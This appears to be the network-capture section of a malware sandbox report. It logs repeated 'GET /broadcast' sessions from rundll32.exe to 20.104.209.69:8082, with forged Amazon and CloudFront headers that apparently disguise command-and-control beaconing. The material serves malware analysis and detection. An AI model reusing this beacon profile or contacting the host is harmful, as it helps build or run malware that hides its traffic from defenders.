Jan 8, 2023 16:08:40.662324905 CET	1123	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:40.781966925 CET	1124	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.6	49937	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:41.036955118 CET	1127	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:41.155114889 CET	1127	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.6	49938	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:41.425936937 CET	1130	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:41.545293093 CET	1130	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49722	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:06.471755981 CET	432	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:06.591454029 CET	433	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.6	49939	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:42.311295986 CET	1133	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:42.429672003 CET	1133	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.6	49940	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:42.710946083 CET	1136	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:42.829992056 CET	1137	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:34 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.6	49941	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:43.719791889 CET	1139	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:43.839283943 CET	1140	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.6	49942	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:44.263993979 CET	1143	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:44.382030964 CET	1143	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.6	49943	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:45.746969938 CET	1146	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:45.865151882 CET	1146	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.6	49944	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:46.209412098 CET	1149	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:46.328353882 CET	1149	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.6	49945	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:46.601680040 CET	1152	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:46.720036983 CET	1153	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.6	49946	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:46.970069885 CET	1155	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:47.088296890 CET	1156	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.6	49947	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:47.371973991 CET	1159	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:47.489252090 CET	1159	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.6	49948	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:47.752516031 CET	1162	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:47.871510029 CET	1162	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49723	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:06.893079996 CET	435	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:07.011400938 CET	436	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.6	49949	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:48.112586021 CET	1165	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:48.232244968 CET	1165	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.6	49950	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:48.490374088 CET	1168	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:48.608589888 CET	1168	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.6	49951	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:48.880588055 CET	1171	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:48.998823881 CET	1172	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.6	49952	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:49.254757881 CET	1174	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:49.373537064 CET	1175	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.6	49953	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:49.628195047 CET	1178	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:49.988336086 CET	1178	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.6	49954	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:50.254827976 CET	1181	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
